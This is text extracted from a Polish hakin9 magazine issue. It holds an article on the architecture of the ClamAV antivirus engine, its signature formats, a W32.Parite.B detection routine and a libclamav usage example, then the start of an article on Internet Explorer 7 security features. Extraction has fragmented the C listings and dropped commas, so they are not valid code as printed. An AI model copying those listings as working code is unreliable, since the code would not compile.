temat zagrożeń płynących z Internetu,

•   powinieneś  posiadać  wiedzę  o  systemach 

uniksowych oraz świadczonych przez nie usłu-
gach.

background image

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

55

pliku  bądź  katalogu,  który  powinien 
zostać  przeskanowany.  Dzięki  moż-
liwości  wywoływania  zewnętrznych 
programów,  potrafi  sprawdzać  archi-
wa,  które  nie  są  obsługiwane  przez 
bibliotekę  libclamav.  Clamscan  może 
zostać  wykorzystany  do  wykonywa-
nia  rutynowych  zadań,  na  przykład 
skanowania katalogów użytkowników, 
bądź integracji z innymi programami, 
w celu wzbogacenia ich o możliwość 
wykrywania  wirusów.  Należy  jednak 
podkreślić,  że  clamscan  przy  każ-
dym  uruchomieniu  musi  wczytywać 
pełne  bazy  sygnatur,  co  zajmuje  za-
równo  dodatkowy  czas,  jak  i  pamięć 
operacyjną. Z tego powodu, nie powi-
nien być stosowany w zadaniach, któ-
re mogą wymagać skanowania wielu 
plików z osobna i w tym samym cza-
sie, takich jak skanowanie poczty na 
poziomie demona SMTP.

Clamd

Clamd  to  demon  zaprojektowany  do 
zadań, w których liczy się wydajność. 
Program  ma  budowę  wielowątkową, 
dzięki czemu potrafi wykorzystać do-
datkowe procesory w systemach SMP. 
Zapewnia ona także efektywne wyko-
rzystanie baz sygnatur – są one łado-
wane przy starcie oraz po wykryciu no-
wej wersji, a następnie współdzielone 
przez wszystkie wątki. Po uruchomie-
niu, clamd przechodzi w tło, oczekując 
na polecenia (takie jak SCAN, PING, 
RELOAD, STREAM) przez wskazane 
w pliku konfiguracyjnym gniazdo unik-
sowe  i/lub  TCP.  W  przypadku  syste-
mów Linux oraz FreeBSD, potrafi do-
datkowo  współpracować  z  modułem 
Dazuko,  który  umożliwia  skanowanie 
wybranych zasobów w momencie do-
stępu do nich. Pozwala to na przykład 
na monitorowanie zawartości publicz-
nych katalogów FTP, gdy sam demon 
FTP nie posiada wsparcia dla skano-
wania antywirusowego.

Clamdscan

Jednym z narzędzi pozwalających na 
wykorzystanie dobrodziejstw demona 

clamd jest clamdscan. Nazwa sugeru-
je,  że  został  on  stworzony  na  podo-
bieństwo  pierwszego  opisanego  na-
rzędzia  i  tak  w  rzeczywistości  jest. 

Clamdscan  może  w  wielu  przypad-

kach  efektywnie  zastępować  clam-

scana. Efektywnie, ponieważ nie po-
trzebuje  on  za  każdym  razem  łado-
wać baz sygnatur, co znacznie skra-
ca czas uruchamiania, a także redu-
kuje zużycie pamięci. Clamdscan nie 
zawiera  żadnych  procedur  skanują-

cych i opiera się wyłącznie na clamd
przesyłając  do  niego  nazwy  plików  i 
katalogów,  strumienie  danych  oraz 
deskryptory, które mają zostać prze-
skanowane.  Z  zależności  tej  wynika 
pewne  istotne  ograniczenie:  w  przy-
padku skanowania plików bądź kata-

Listing 1. 

Algorytmiczna detekcja wirusa wykorzystująca prostą 

kryptoanalizę

/* W32.Parite.B */

if

(

SCAN_ALGO

 

&&

 

!

dll

 

&&

 

ep

 

==

 

EC32

(

section_hdr

[

nsections

 

-

 

1

]

.

PointerToRawData

))

 

{

  

lseek

(

desc

ep

SEEK_SET

);

  

if

(

cli_readn

(

desc

buff

4096

)

 

==

 

4096

)

 

{

     

const

 

char

 

*

pt

 

=

 

cli_memstr

(

buff

4040

,                                 

            

"

\x

47

\x

65

\x

74

\x

50

\x

72

\x

6f

\x

63

\x

41

\x

64

\x

64

\

x

72

\x

65

\x

73

\x

73

\x

00"

15

);

   

if

(

pt

)

 

{

   

uint32_t

 

dw1

dw2

;

   

pt

 

+=

 

15

;

   

if

(((

dw1

 

=

 

cli_readint32

(

pt

))

 ^ 

(

dw2

 

=

 

cli_readint32

(

pt

 

+

 

4

)))

 

==

 

0x505a4f

 

&&

   

((

dw1

 

=

 

cli_readint32

(

pt

 

+

 

8

))

 ^ 

(

dw2

 

=

 

cli_readint32

(

pt

 

+

 

12

)))

 

==

 

0xffffb

 

&&

   

((

dw1

 

=

 

cli_readint32

(

pt

 

+

 

16

))

 ^ 

(

dw2

 

=

 

cli_readint32

(

pt

 

+

 

20

)))

 

==

 

0xb8

)

 

{

   

*

ctx

->

virname

 

=

 

"W32.Parite.B"

;

   

free

(

section_hdr

);

   

return

 

CL_VIRUS

;

    

}

   

}

  

}

}

Rysunek 1. 

Uproszczony schemat działania biblioteki libclamav

Infekcja

TAK

TAK

NIE

NIE

NIE

TAK

Przetwarzanie

Brak Infekcji

Wybór metody

skanowania

Skanowanie

sygnaturami

Klasyfikacja

typu pliku

Zarządca

skanowania

Wykryto wirusa

Detekcja

algorytmiczna

Dane wymagają

dalszego

skanowania?

Dane wymagają

wstępnego

przetworzenia?

background image

hakin9 Nr 2/2007

www.hakin9.org

obrona

56

logów, clamdscan jest w stanie skano-
wać tylko te, do których dostęp ma de-
mon clamd.

Freshclam

W  pakiecie  ClamAV  znajduje  się 
program  o  wdzięcznej  nazwie  fre-

shclam,  który  w  pełni  automatyzuje 
proces  aktualizacji  baz  sygnatur  wi-
rusów.  Program  udostępnia  szereg 
opcji: może być uruchamiany na żą-
danie bądź pracować w tle jako de-
mon, potrafi współpracować z serwe-
rami proxy, umożliwia wywołanie ze-

wnętrznych programów w zależności 
od zdarzenia (aktualizacja baz, błąd, 
wykrycie nowej wersji oprogramowa-
nia).  W  celu  sprawdzenia  aktualnej 
wersji baz sygnatur, freshclam wyko-
rzystuje DNS, a dokładniej specjalny 
rekord tekstowy:

$ host -t txt current.cvd.clamav.net
current.cvd.clamav.net TXT "0.88.4:
39:1640:1155043741:1"

Rekord ten zawiera także informację 
o aktualnej stabilnej wersji ClamAV, 

dzięki  czemu  freshclam  może  alar-
mować  administratora  o  pojawieniu 
się nowego wydania programu.

Sigtool

Ostatnie opisywane narzędzie prze-
znaczone  jest  przede  wszystkim 
dla  osób  bezpośrednio  związanych 
z  opracowywaniem  sygnatur  wiru-
sów oraz aktualizacją baz w projek-
cie ClamAV. Sigtool pozwala rozpa-
kowywać, weryfikować oraz tworzyć 
cyfrowo  podpisane  bazy  sygnatur, 
generować  pliki  różnicowe  (*.cdiff), 
wydobywać kod makr z plików Office 
czy  dokonywać  normalizacji  plików 
HTML,  ułatwiając  tworzenie  właści-
wych sygnatur.

LibClamAV

Biblioteka  libclamav  jest  elementem 
bezpośrednio  odpowiedzialnym  za 
wykrywanie  wirusów.  Jest  ona  bez-
pieczna  dla  wątków  oraz  udostępnia 
nieskomplikowane API (ang. Applica-

tion Programming Interface) pozwala-
jące programom na dostęp do uniwer-
salnych  funkcji  skanujących.  Na  Ry-
sunku  1  przedstawiony  został  ogól-
ny schemat działania biblioteki, a po-
niżej opisane poszczególne etapy. Ar-
tykuł koncentruje się na aktualnej wer-
sji  oprogramowania  z  repozytorium 
CVS,  która  wkrótce  zastąpi  obecną 
stabilną serię 0.8x.

Ustalanie typu pliku

Ze  względów  bezpieczeństwa  oraz 
bezpośredniej  pracy  na  deskrypto-
rach, w celu ustalenia typu pliku libc-

lamav analizuje jego zawartość, a nie 
nazwę  w  systemie  plików.  Coś,  co  z 
pozoru może wydawać się trywialne, 
okazuje  się  niekiedy  twardym  orze-
chem do zgryzienia. O ile rozpoznanie 
pliku wykonywalnego ELF nie stanowi 
problemu, o tyle stwierdzenie, czy da-
ny plik jest archiwum tar wymaga już 
większego wysiłku. Ponieważ od wy-
niku  tego  procesu  bezpośrednio  za-
leży sukces skanowania, musi zostać 
on przeprowadzony w sposób możli-
wie najdokładniejszy. Biblioteka libcla-

mav stosuje w tym celu trzy techniki:

•   standardowe  testy  sprawdzają-

ce  liczby  magiczne  (ang.  magic 

Tabela 1. 

Tabela znaków zastępczych

Znak zastępczy

Znaczenie dopasowania

*

Dowolna ilość dowolnych znaków

??

Pojedynczy dowolny znak

{n}

n dowolnych znaków

{-n}

Co najwyżej n dowolnych znaków

{n-}

Co najmniej n dowolnych znaków

(a|b|c)

a lub b lub c

Tabela 2. 

Tabela znaków zastępczych

Kod pliku docelowego

Typ pliku

0

Dowolny

1

Portable Executable

2

Komponent OLE2 (na przykład 
skrypt VBA)

3

Znormalizowany HTML

4

Pocztowy

5

Graficzny

6

ELF

Tabela 3. 

Tabela dopuszczalnych offsetów

Offset

Miejsce dopasowania

*

Dowolne miejsce w pliku

n

n-ty bajt

EOF-n

n-ty bajt licząc od końca pliku

EP+n (ten i poniższe offsety dzia-
łają tylko z plikami wykonywalny-
mi PE oraz ELF)

n-ty bajcie począwszy od Entry Point

EP-n

n-ty bajt przed Entry Point

Sx+n

n-ty bajt począwszy od początku sek-
cji o numerze x

Sx-n

n-ty bajt przed początkiem sekcji o nu-
merze x

SL+n, SL-n

Jak wyżej, gdzie L odpowiada ostat-
niej sekcji w pliku

background image

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

57

numbers),  czyli  unikatowe  war-
tości wewnątrz pliku, charaktery-
styczne tylko dla danego typu,

•   detekcję  algorytmiczną  opartą  o 

analizę strukturalną lub zawarto-
ści pliku,

•   skanowanie  pliku  pod  kątem 

zawartości  charakterystycznych 
fragmentów danych (na przykład 
fragmentów kodu HTML).

Wsparcie 

dla plików specjalnych

Gdy typ pliku zostanie ustalony, po-
dejmowana  jest  decyzja  dotycząca 
jego  obsługi.  Pliki  specjalne,  takie 
jak  archiwa  czy  dokumenty  wyma-
gają wcześniejszego przetworzenia, 
polegającego  na  odpowiedniej  eks-
trakcji danych z ich wnętrza. Biblio-
teka posiada bezpośrednie wsparcie 
dla następujących typów:

•   archiwa:  zip,  RAR,  CHM  (ang. 

Compiled HTML), cabinet, OLE2, 
tar, SIS (pakiety instalacyjne dla 
systemu Symbian),

•   pliki skompresowane: gzip, bzip2, 

compress,

•   pliki poczty: wszystkie popularne 

formaty uniksowe, TNEF (winma-
il.dat), PST,

•   dokumenty: HTML, PDF, MS Offi-

ce,

•   pliki wykonywalne: PE (wraz z ob-

sługą UPX, FSG, Petite, PESpin, 
WWPack32, Y0da Cryptor), ELF,

•   inne:  JPEG,  GIF,  RIFF  (analiza 

plików na obecność exploitów).

Moduły  obsługujące  pliki  specjalne 
zostały  stworzone  tak,  aby  wykry-
wać nieprawidłowości, które mogłyby 
zostać wykorzystane do wprowadze-
nia skanera w błąd. Na przykład, pro-
cedury obsługujące pliki zip są w sta-
nie  wykryć  manipulacje  w  lokalnych 
nagłówkach archiwów, fałszywe oraz 
ukryte  wpisy.  Dodatkowym  elemen-
tem ochrony są limity związane z po-
ziomem  rekursji,  liczbą  oraz  rozmia-
rem  rozpakowywanych  plików,  które 
stanowią  zabezpieczenie  przed  ata-
kami typu Denial of Service, wykorzy-
stującymi bomby archiwowe (niewiel-
kie  archiwa  zawierające  dużą  liczbę 
wysoce  skompresowanych  plików). 

Listing 2a. 

Przykład użycia biblioteki libclamav

#include 

<stdio.h>

#include 

<stdlib.h>

#include 

<string.h>

#include 

<unistd.h>

#include 

<sys/types.h>

#include 

<sys/stat.h>

#include 

<fcntl.h>

#

include

 

<

clamav

.

h

>

 

/* plik nagłówkowy biblioteki libclamav */

int

 

main

(

int

 

argc

char

 

**

argv

)

{

        

int

 

fd

ret

;

        

unsigned

 

long

 

int

 

size

 

=

 

0

;

        

unsigned

 

int

 

sigs

 

=

 

0

;

        

long

 

double

 

mb

;

        

const

 

char

 

*

virname

;

        

struct

 

cl_engine

 

*

engine

 

=

 

NULL

;

        

struct

 

cl_limits

 

limits

;

    

if

(

argc

 

!=

 

2

)

 

{

        

printf

(

"Usage: %s file

\n

"

argv

[

0

]);

        

exit

(

2

);

    

}

    

if

((

fd

 

=

 

open

(

argv

[

1

]

O_RDONLY

))

 

==

 

-

1

)

 

{

        

printf

(

"Can't open file %s

\n

"

argv

[

1

]);

        

exit

(

2

);

    

}

    

/* wczytaj wszystkie bazy z domyślnego katalogu */

    

if

((

ret

 

=

 

cl_load

(

cl_retdbdir

()

&

engine

&

sigs

CL_DB_STDOPT

)))

 

{

        

printf

(

"cl_load: %s

\n

"

cl_strerror

(

ret

));

        

close

(

fd

);

        

exit

(

2

);

    

}

    

printf

(

"Loaded %d signatures.

\n

"

sigs

);

    

/* skompiluj silnik */

    

if

((

ret

 

=

 

cl_build

(

engine

)))

 

{

        

printf

(

"Engine compilation error: %s

\n

"

cl_strerror

(

ret

));;

        

cl_free

(

engine

);

        

close

(

fd

);

        

exit

(

2

);

    

}

    

/* ustaw limity archiwów */

    

memset

(&

limits

0

sizeof

(

struct

 

cl_limits

));

    

limits

.

maxfiles

 

=

 

1000

;

 

/* maksymalna liczba plików, które zostaną 

rozpakowane */

    

limits

.

maxfilesize

 

=

 

10

 

*

 

1048576

;

 

/* maksymalny rozmiar zarchiwizowanego 

pliku */

    

limits

.

maxreclevel

 

=

 

5

;

 

/* maksymalny poziom rekursji */

    

limits

.

maxratio

 

=

 

200

;

 

/* maksymalny stosunek rozmiaru pliku 

skompresowanego do oryginału */

    

/* przeskanuj wskazany deskryptor */

    

if

((

ret

 

=

 

cl_scandesc

(

fd

&

virname

&

size

engine

&

limits

CL_SCAN_

STDOPT

))

 

==

 

CL_VIRUS

)

 

{

        

printf

(

"Virus detected: %s

\n

"

virname

);

    

}

 

else

 

{

        

if

(

ret

 

==

 

CL_CLEAN

)

 

{

            

printf

(

"No virus detected.

\n

"

);

        

}

 

else

 

{

            

printf

(

"Error: %s

\n

"

cl_strerror

(

ret

));

            

cl_free

(

engine

);

            

close

(

fd

);

            

exit

(

2

);

        

}

    

}

    

close

(

fd

);

background image

hakin9 Nr 2/2007

www.hakin9.org

obrona

58

Zastosowanie  znajdują  także  dodat-
kowe  informacje  umieszczone  w  ar-
chiwach  (metadane),  które  libclamav 
pozwala  skanować  za  pomocą  spe-
cjalnych sygnatur, umożliwiając w nie-
których przypadkach wykrycie złośli-
wego oprogramowania wewnątrz za-
szyfrowanych archiwów.

Skanowanie sygnaturami

Aby efektywnie skanować pliki w po-
szukiwaniu  dziesiątek  tysięcy  wiru-
sów,  libclamav  stosuje  dwa  algoryt-
my: Aho-Corasick oraz rozszerzony 
algorytm Boyer-Moore'a. Są to algo-
rytmy dopasowania wielowzorcowe-

go,  umożliwiające  przeszukiwanie 
plików  pod  kątem  wielu  sygnatur  w 
tym samym czasie.

Dodatkowo,  biblioteka  obsługu-

je  akceleratory  sprzętowe  znacznie 
przyspieszające skanowanie.

Algorytm  Aho-Corasick  na  pod-

stawie zbioru wzorców (u nas sygna-
tur wirusów) buduje specjalne drzewo, 
które następnie zostaje przekształco-
ne w automat skończony.

Na Rysunku 2 przedstawiony zo-

stał  przykład  drzewa  oraz  odpowia-
dającego mu automatu, stworzonych 
dla  zbioru  wzorców  P  =  {GAT,  GC, 
TGCT}.  Stany  automatu  zaznaczo-

ne kolorem zielonym, to stany końco-
we – gdy automat znajdzie się w takim 
stanie, oznaczać to będzie poprawne 
dopasowanie  jednego  ze  wzorców. 
Czarne strzały (krawędzie drzewa) re-
prezentują funkcję przejścia i umożli-
wiają zmianę stanu, gdy znak wejścio-
wy jest znakiem przez nie akceptowa-
nym.  Czerwone  strzały  reprezentują 
natomiast  funkcję  porażki  i  pozwala-
ją  na  zmianę  stanu,  gdy  niemożliwe 
jest to poprzez funkcję przejścia. Au-
tomat  rozpoczyna  działanie  w  stanie 
zerowym (który jest korzeniem drze-
wa i stanem początkowym automatu) 
i dokonuje odpowiednich zmian stanu 

Rysunek 2. 

Przykład drzewa i automatu Aho-Corasick

C

C

T

T

!=T

!=A,C

!=EOF

!=EOF

!=C

!=T

!=G

!=G, T

8

5

4

4

3

8

7

6

5

0

1

4

C

C

A

A

G

G

G

G

T

T

T

T

2

3

6

7

0

1

Rysunek 3. 

Drzewo sygnatur w pamięci

Sygnatury

standardowe

Metastruktury

Zip

Metastruktury

RAR

A-C

B-M

A-C

Wspólne

BM

PE

ELF

HTML

Poczta

Grafika

OLE2

A-C

B-M

A-C

B-M

A-C

B-M

A-C

B-M

A-C

B-M

Struktury

MDS

Struktury

MDS

background image

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

59

dla każdego znaku tekstu wejściowe-
go. W omawianym przykładzie, prze-
szukiwanie tekstu odbywa się w cza-
sie liniowym – każdy ze znaków tekstu 
wejściowego jest sprawdzany tylko je-
den raz. Implementacja algorytmu w 
ClamAV nie zapewnia takiego czasu 
działania automatu, ponieważ w celu 
ograniczenia  zużycia  pamięci  wpro-
wadzone  zostały  ograniczenia  dla 
głębokości drzewa A-C, jednak w dal-
szym ciągu wydajność jest zadowala-
jąca. Dodatkowo, algorytm został roz-
szerzony  o  obsługę  podstawowych 
znaków zastępczych (ang. wild cards
opisanych w następnym punkcie.

Rozszerzony algorytm Boyer-Mo-

ore'a  podobnie  do  wersji  oryginalnej 
wykorzystuje  ideę  tablicy  przesunięć 
(ang.  shift  table),  umożliwiającej  po-
minięcie  części  tekstu  wejściowego, 
w  ktorym  nie  może  nastąpić  dopa-
sowanie.  Zasadnicza  część  algoryt-
mu pracuje nie na pojedynczych zna-
kach, lecz na haszach obliczanych z 
trzech kolejnych znaków, które służą 
jako  indeksy  tablicy  przesunięć  oraz 
specjalnej tablicy sufiksów. Z tego po-
wodu  algorytm  jest  stosowany  tylko 
dla sygnatur statycznych (nie zawiera-
jących znaków zastępczych).

Proces  skanowania  sygnaturami 

może  zostać  wielokrotnie  przyspie-
szony  przez  zastosowanie  akcele-
ratora  sprzętowego.  ClamAV  posia-
da  wsparcie  dla  platformy  NodalCo-
re firmy Sensory Networks, w ramach 
której dostępne są karty PCI o prze-
pustowościach do 2 Gb/s. Ich wyko-
rzystanie nie tylko przyspiesza samo 
skanowanie, ale także w znaczny spo-
sób redukuje obciążenie CPU, co ma 
niebagatelne znaczenie dla systemów 
filtrujących setki tysięcy bądź miliony 
plików  dziennie.  Informacje  technicz-
ne oraz ceny kart można znaleźć na 
stronach producenta.

Typy sygnatur wirusów

Libclamav obsługuje kilka typów sy-
gnatur,  pozwalających  na  opis  zło-
śliwego  oprogramowania  na  różne 
sposoby.

Głównym  elementem  sygnatur 

standardowych  jest  fragment  kodu, 
który w jednoznaczny sposób identyfi-
kuje cel. Aby uniknąć fałszywych alar-

mów oraz umożliwić przechowywanie 
wpisów w plikach tekstowych, jest on 
zakodowany do postaci napisu złożo-
nego  z  liczb  szesnastkowych,  może 
także zawierać znaki zastępcze opisa-
ne w Tabeli 1, które pozwalają zwięk-
szyć  elastyczność  sygnatury.  Sygna-
tury  standardowe  mogą  występować 
w  dwóch  postaciach:  uproszczonej 
oraz  pozwalającej  na  dokładniejszy 
opis celu. W pierwszym przypadku są 
to  sygnatury  umieszczane  w  bazach 

*.db, o następującym formacie:

NazwaWirusa=SygnaturaSzesnastkowa

Sygnatury  w  postaci  rozszerzonej 
umieszczane są w plikach *.ndb i wy-
glądają następująco:

NazwaWirusa:KodCelu:Offset:
SygnaturaSzesnastkowa[:
MinimalnaWersjaSilnika:[MaksymalnaWS]]

Pozwalają  one  na  wskazanie  typu 
pliku oraz miejsca, w którym powin-
no nastąpić dopasowanie sygnatury. 
W Tabeli 2 oraz 3 przedstawione zo-
stały możliwe wartości dla drugiego 
oraz trzeciego pola.

W przypadku złośliwego oprogra-

mowania, które w żaden sposób nie 
modyfikuje swoich plików, takiego jak 
większość dialerów czy prostych ko-
ni trojańskich, możliwe jest użycie sy-
gnatur wykorzystujących sumy MD5. 
Umieszczane są one w plikach *.hdb i 
mają następujący format:

MD5:RozmiarPliku:Nazwa

Dzięki nim, użytkownicy mogą w ła-
twy  sposób  tworzyć  swoje  własne 
sygnatury  –  wystarczy  wykorzystać 
opcję --md5 programu sigtool:

sigtool --md5 evil.exe > evil.hdb

  a  następnie  przenieść  plik  evil.hdb 
do katalogu z bazami ClamAV.

Ostatni typ sygnatur przeznaczo-

ny jest do opisu plików wewnątrz ar-
chiwów  i  w  tym  celu  wykorzystuje 
wspomniane  wcześniej  metadane 
zawarte w archiwach. Ma on zasto-
sowanie  przede  wszystkim  w  przy-
padku  robaków  internetowych  uży-
wających zaszyfrowanych archiwów 
w  charakterze  nośników,  a  których 
pliki    zachowują  jakąś  charaktery-
styczną  własność,  taką  jak  nazwa, 
rozmiar czy suma kontrolna. Sygna-
tury te są przechowywane w plikach 

.zmd oraz .rmd, odpowiednio dla ar-
chiwów  zip  i  RAR,  w  następującym 
formacie:

NazwaRobaka:zaszyfrowany(0,1):nazwa 
pliku:oryginalny rozmiar:rozmiar po 
kompresji:crc32:metoda kompresji:numer
porządkowy pliku w archiwum:maksymalna
liczba zagnieżdżonych archiwów

Jeżeli pewne parametry ulegają zmia-
nie,  można  użyć  gwiazdki  w  celu  zi-
gnorowania  ich  wartości.  Przykłada-
mi  robaków  pomyślnie  wykrywanych 
tą specyficzną metodą są między in-
nymi  Worm.Padowor.A,  Worm.Kima-
zo.A oraz warianty robaka Bagle.

W celu optymalnego wykorzysta-

nia, w trakcie ładowania baz sygna-
tury dzielone są na odpowiednie gru-
py,  tworząc  drzewo  przedstawione 
na Rysunku 3. Dane skanowane są 
w  pierwszej  kolejności  sygnaturami 
zgodnymi z ich typem, następnie sy-
gnaturami wspólnymi oraz MD5. Sy-
gnatury  wykorzystujące  metadane 
sprawdzane są w momencie rozpa-
kowywania archiwów.

Pliki  skanowane  są  w  pierwszej 

kolejności  sygnaturami  zgodnymi  z 
ich  typem,  następnie  sygnaturami 
wspólnymi oraz MD5.

Listing 2b. 

Przykład użycia biblioteki libclamav

    

/* oblicz przybliżony rozmiar przeskanowanych danych  */

    

mb

 

=

 

size

 

*

 

(

CL_COUNT_PRECISION

 / 

1024

)

 / 

1024.0

;

    

printf

(

"Size of scanned data: %2.2Lf MB

\n

"

mb

);

    

/* zwolnij pamięć zajmowaną przez silnik */

    

cl_free

(

engine

);

    

exit

(

ret

 

==

 

CL_VIRUS

 ? 

1

 

:

 

0

);

}

background image

hakin9 Nr 2/2007

www.hakin9.org

obrona

60

Pliki CVD

Podstawowym nośnikiem dla sygnatur 
w ClamAV są pliki CVD, które w istocie 
są  skompresowanymi  oraz  cyfrowo 
podpisanymi archiwami tar. Dystrybu-
owane są dwa pliki: daily.cvd oraz ma-

in.cvd. Pierwszy z nich to mniejsza ba-
za służąca do codziennych aktualiza-
cji,  drugi  to  z  kolei  główne  archiwum 
sygnatur,  do  którego  średnio  co  pół-
torej miesiąca przenoszona jest część 
wpisów z daily.cvd. Bazy zawierają pli-
ki tekstowe z sygnaturami w opisanych 
wyżej  formatach.  W  celu  zmniejsze-
nia  obciążenia  mirrorów  opracowa-
ny został system aktualizacji różnico-
wych, który znosi potrzebę ściągania 
kompletnych plików z bazami. Zamiast 
tego, freshclam pobiera tylko specjal-
ny  skrypt  z  ostatnio  wprowadzonymi 
zmianami  i  dokonuje  odpowiednich 
aktualizacji lokalnych plików.

Algorytmiczna 

detekcja wirusów

Niektóre  zaawansowane  wirusy  wy-
magają specjalnego podejścia. Doty-
czy to przede wszystkim wirusów wy-
soce polimorficznych, które uniemoż-
liwiają bezpośrednie wykrycie za po-
mocą sygnatur. Część skanerów an-
tywirusowych w celu ich wykrycia sta-
ra się wykorzystywać uniwersalne po-
dejście oparte o emulację kodu, jed-
nak  w  przypadku  nowoczesnych  wi-
rusów  wykorzystujących  zaawan-
sowane  sztuczki  bądź  coraz  to  no-
we  rozszerzenia  procesorów,  może 
się  ono  często  okazać  nieefektyw-
ne.  ClamAV  stawia  na  precyzyjną 
detekcję  opartą  o  dedykowane  algo-
rytmy. Metoda ta jest bardziej praco-
chłonna, jednak pozwala na dokładne 
oraz co bardzo ważne – szybkie wy-
krycie  wirusa  przez  skaner.  W  chwi-
li  obecnej,  wszystkie  algorytmy  mu-
szą być umieszczane bezpośrednio w 
źródłach programu, jednak już wkrót-
ce możliwa będzie ich dystrybucja w 
postaci bajtkodu (ang. bytecode) obok 
standardowych  sygnatur.  Na  Listin-
gu 1 przedstawiony został krótki frag-
ment kodu odpowiedzialny za wykry-
wanie wirusa W32.Parite.B, Czytelni-
cy zainteresowani bardziej skompliko-
wanymi przykładami zachęcani są do 
lektury źródeł.

Przykład użycia biblioteki

Biblioteka libclamav pozwala na łatwą 
rozbudowę  istniejącego  oprogramo-
wania  o  skanowanie  antywirusowe. 
Na  Listingu  2  przedstawiony  został 
kompletny  przykład  wykorzystania 
biblioteki  –  proste    narzędzie  umoż-
liwiające  skanowanie  pojedynczych 
plików  z  linii  poleceń.  Wykorzystane 
zostały  w  nim  podstawowe  funkcje: 

cl _ load()

  wczytuje  pojedynczą  ba-

zę lub wszystkie bazy ze wskazane-
go  katalogu, 

cl _ retdbdir()

  zwraca 

ścieżkę  domyślnego  katalogu  z  ba-
zami, 

cl _ build()

 dokonuje kompilacji 

silnika, 

cl _ scandesc()

 skanuje wska-

zany  deskryptor, 

cl _ strerror()

  tłu-

maczy kod błędu na komunikat w ję-
zyku angielskim i w końcu 

cl _ free()

 

zwalnia pamięć zajmowaną przez sil-
nik. Program zwraca do systemu kod 
1 w przypadku wykrycia infekcji, 0 w 
przypadku jej nie wykrycia oraz 2, w 
przypadku wystąpienia błędu.

Infrastruktura sieciowa

Projekt  ClamAV  posiada  zaawan-
sowaną,  rozbudowywaną  od  kilku 
lat  infrastrukturę  serwerów  lustrza-
nych (mirrorów). Jest ona sponsoro-
wana  przez  firmy,  organizacje  oraz 
jednostki  edukacyjne,  które  udo-
stępniają  szerokopasmowe  łącza 
internetowe  dla  potrzeb  dystrybu-
cji baz z sygnaturami wirusów.   Po-
nad sto dwadzieścia maszyn w bli-
sko  czterdziestu  krajach  zapewnia 
szybką  oraz  bezawaryjną  aktuali-
zację baz. W celu optymalnego do-
stępu do aktualizacji, dostęp do ser-
werów  następuje  poprzez  następu-
jące adresy:

•   db.XY.clamav.net – wskazuje na 

mirrory  dostępne  w  kraju  o  ko-
dzie XY,

•   db.local.clamav.net – próbuje prze-

kierować klienta do najbliższej puli 
mirrorów poprzez sprawdzenie je-
go adresu w bazie GeoIP,

•   database.clamav.net – rekord ro-

und-robin  wskazujący  na  zbiór 
najszybszych i najbardziej nieza-
wodnych mirrorów.

W przypadku Polski, zalecana konfi-
guracja polega na umieszczeniu na-

stępujących  dwóch  wpisów  w  pliku 

freshclam.conf:

DatabaseMirror db.pl.clamav.net
DatabaseMirror database.clamav.net

W przypadku gdy połączenie z mir-
rorami krajowymi nie powiedzie się, 

freshclam  automatycznie  użyje  dru-
giego wpisu.

Możliwe zastosowania

Mimo,  że  ClamAV  został  zaprojek-
towany  przede  wszystkim  z  myślą 
o  skanowaniu  poczty,  pomyślnie 
sprawdza się także w innych zasto-
sowaniach.  Na  stronie  głównej  pro-
jektu,  w  dziale  Third-party  software 
znaleźć  można  listę  ponad  stu  pro-
gramów  współpracujących  z  Cla-
mAV, pozwalających na wykorzysta-
nie go do filtrowania poczty na pozio-
mie  protokołów  SMTP,  POP3  oraz 
czytników poczty, skanowania syste-
mu plików, strumieni HTTP, zasobów 
FTP i do wielu, wielu innych celów.

Podsumowanie

Skaner  antywirusowy  powinien  być 
jednym  z  podstawowych  narzędzi  w 
arsenale każdego administratora sie-
ci. Clam AntiVirus to elastyczne opro-
gramowanie,  dające  szerokie  możli-
wości konfiguracji oraz zastosowania, 
a dzięki swojej licencji i szybkim reak-
cjom na nowe zagrożenia, obala mit o 
niebotycznych  kosztach  ochrony  an-
tywirusowej. l

O autorze

Autor  jest  twórcą  oraz  liderem  projektu 
Clam  AntiVirus.  Absolwent  informatyki 
na Uniwersytecie Mikołaja Kopernika w 
Toruniu, wieloletni entuzjasta oprogramo-
wania Open Source oraz żółwi wodnych.

W Sieci

•   http://www.clamav.net/  –  strona 

domowa projektu Clam AntiVirus,

•   http://www.dazuko.org/  –  strona 

domowa projektu Dazuko,

•   http://www.sensorynetworks.com/ 

– strona producenta akceleratorów 
sprzętowych.

background image
background image

www.hakin9.org

hakin9 Nr 2/2007

62

Obrona

W

iele osób zastanawiało się, czy pro-
dukt  jest  bezpieczny,  czy  też  nie; 
czy łatwo się do niego włamać oraz 

czy posiada więcej „dziur” niż jego poprzednie 
wersje.  Niemniej  jednak  bezpieczeństwo  wła-
snych zasobów to nie tylko sama przeglądarka, 
ale również nawyki ludzi z niej korzystających 
oraz tego, jak bardzo przyłożą się oni do prawi-
dłowego skonfigurowania swojego środowiska 
pracy. Zacznijmy jednak od początku, czyli od 
przedstawienia  kilku  najważniejszych  nowych 
cech bezpieczeństwa:

Opcjonalne formanty ActiveX

Funkcja ta wyłącza prawie wszystkie preinsta-
lowane formanty ActiveX w celu ochrony poten-
cjalnie zagrożonych formantów przed atakiem. 
W  razie  potrzeby  formanty  ActiveX  w  prosty 
sposób można włączyć lub wyłączyć, używa-
jąc Paska informacji i Menedżera dodatków.

Pasek stanu zabezpieczeń

Zwiększa świadomość zagrożeń na stronie sieci 
Web i ustawienia prywatności poprzez wyświetla-
nie kolorowych powiadomień obok paska adresu. 
W przeglądarce Internet Explorer 7 kolor Paska ad-
resu zmienia się na zielony w przypadku stron po-

siadających nowe certyfikaty. To gwarancja, wska-
zująca, że właściciel przeszedł dokładne testy we-
ryfikacyjne. Powiadomienia filtrów witryn wyłudza-
jących informacje, nazwy certyfikatów i ikona zło-
tej kłódki są teraz umieszczone bezpośrednio przy 
pasku adresu, co poprawia ich widoczność. Za po-
mocą jednego kliknięcia można wyświetlać na pa-
sku stanu zabezpieczeń dokładne informacje na 
temat certyfikatów i prywatności. 

Filtr witryn 

wyłudzających informacje

Aktywnie ostrzega i ułatwia ochronę przed po-
tencjalnymi  lub  znanymi  fałszywymi  strona-
mi sieci Web. Opcjonalny filtr jest aktualizowa-
ny kilka razy na godzinę na podstawie najnow-
szych danych na temat zabezpieczeń firmy Mi-
crosoft oraz jej partnerów branżowych. 

Bariery między domenami

Ogranicza działanie skryptów na stronach i unie-
możliwia ich interakcję z zawartością innych do-
